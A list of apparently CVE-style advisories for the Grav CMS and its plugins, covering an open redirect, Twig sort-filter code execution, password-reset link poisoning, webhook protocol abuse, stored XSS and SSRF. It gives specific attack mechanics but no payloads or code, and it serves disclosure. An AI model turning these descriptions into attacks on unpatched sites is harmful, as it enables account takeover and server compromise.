Grav is a file-based Web platform. Prior to 3.8.5, the Login plugin twofacancel task accepts a client-controlled redirect field without a nonce and allows an unauthenticated request to set an external http, https, or protocol-relative Location target. Controller::execute() applies the field when taskTwofacancel() sets no redirect, and Grav::getRedirectResponse() accepts the target through Uri::isExternal(), enabling phishing redirects from a trusted Grav host. This issue is fixed in version 3.8.5.
Grav before 2.0.18 (affected versions <= 2.0.17) contains a remote code execution vulnerability in the Twig sort filter. The sortFunc wrapper in GravExtension.php hardcodes Twig's isSandboxed argument to false, so unlike |map/|filter/|reduce, |sort accepts a plain function name inside the sandbox; the remaining denylist misses splautoload, which performs a PHP include. An authenticated user with only page-write rights (admin.pages or api.pages.write) can supply a crafted payload (e.g., via form frontmatter rendered by the Email plugin) that invokes splautoload through the sort filter, resulting in arbitrary PHP execution as the web server user.
The Grav API plugin (grav-plugin-api) before 1.0.4 does not validate the origin of the client-supplied adminbaseurl field in the POST /api/v1/auth/forgot-password endpoint. The sanitizeHttpUrl() function only checks that the URL scheme is http/https and never verifies the host against the server's own origin, so an attacker can supply an arbitrary host. As a result, an unauthenticated attacker can cause the password reset email sent to a victim to contain a reset link pointing at an attacker-controlled server; when the victim follows the link, the valid reset token is disclosed to the attacker, enabling full account takeover. The vulnerable base URL can also be influenced via the Referer or Origin headers.
Grav before 2.0.4 fails to restrict cURL protocols in webhook dispatch, allowing authenticated users with api.webhooks.write permission to create webhooks with file://, dict://, or gopher:// URLs. Attackers can trigger webhook events to read local files, access process information, or pivot to internal services via unrestricted protocol handlers.
grav before v1.7.49.5 has a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality. An authenticated low-privileged user with permission to edit content can inject malicious JavaScript payloads into editable fields. The payload is stored on the server and later executed when any other user views or edits the affected page.
In grav <1.7.49.5, a SSRF (Server-Side Request Forgery) vector may be triggered via Twig templates when page content is processed by Twig and the configuration allows undefined PHP functions to be registered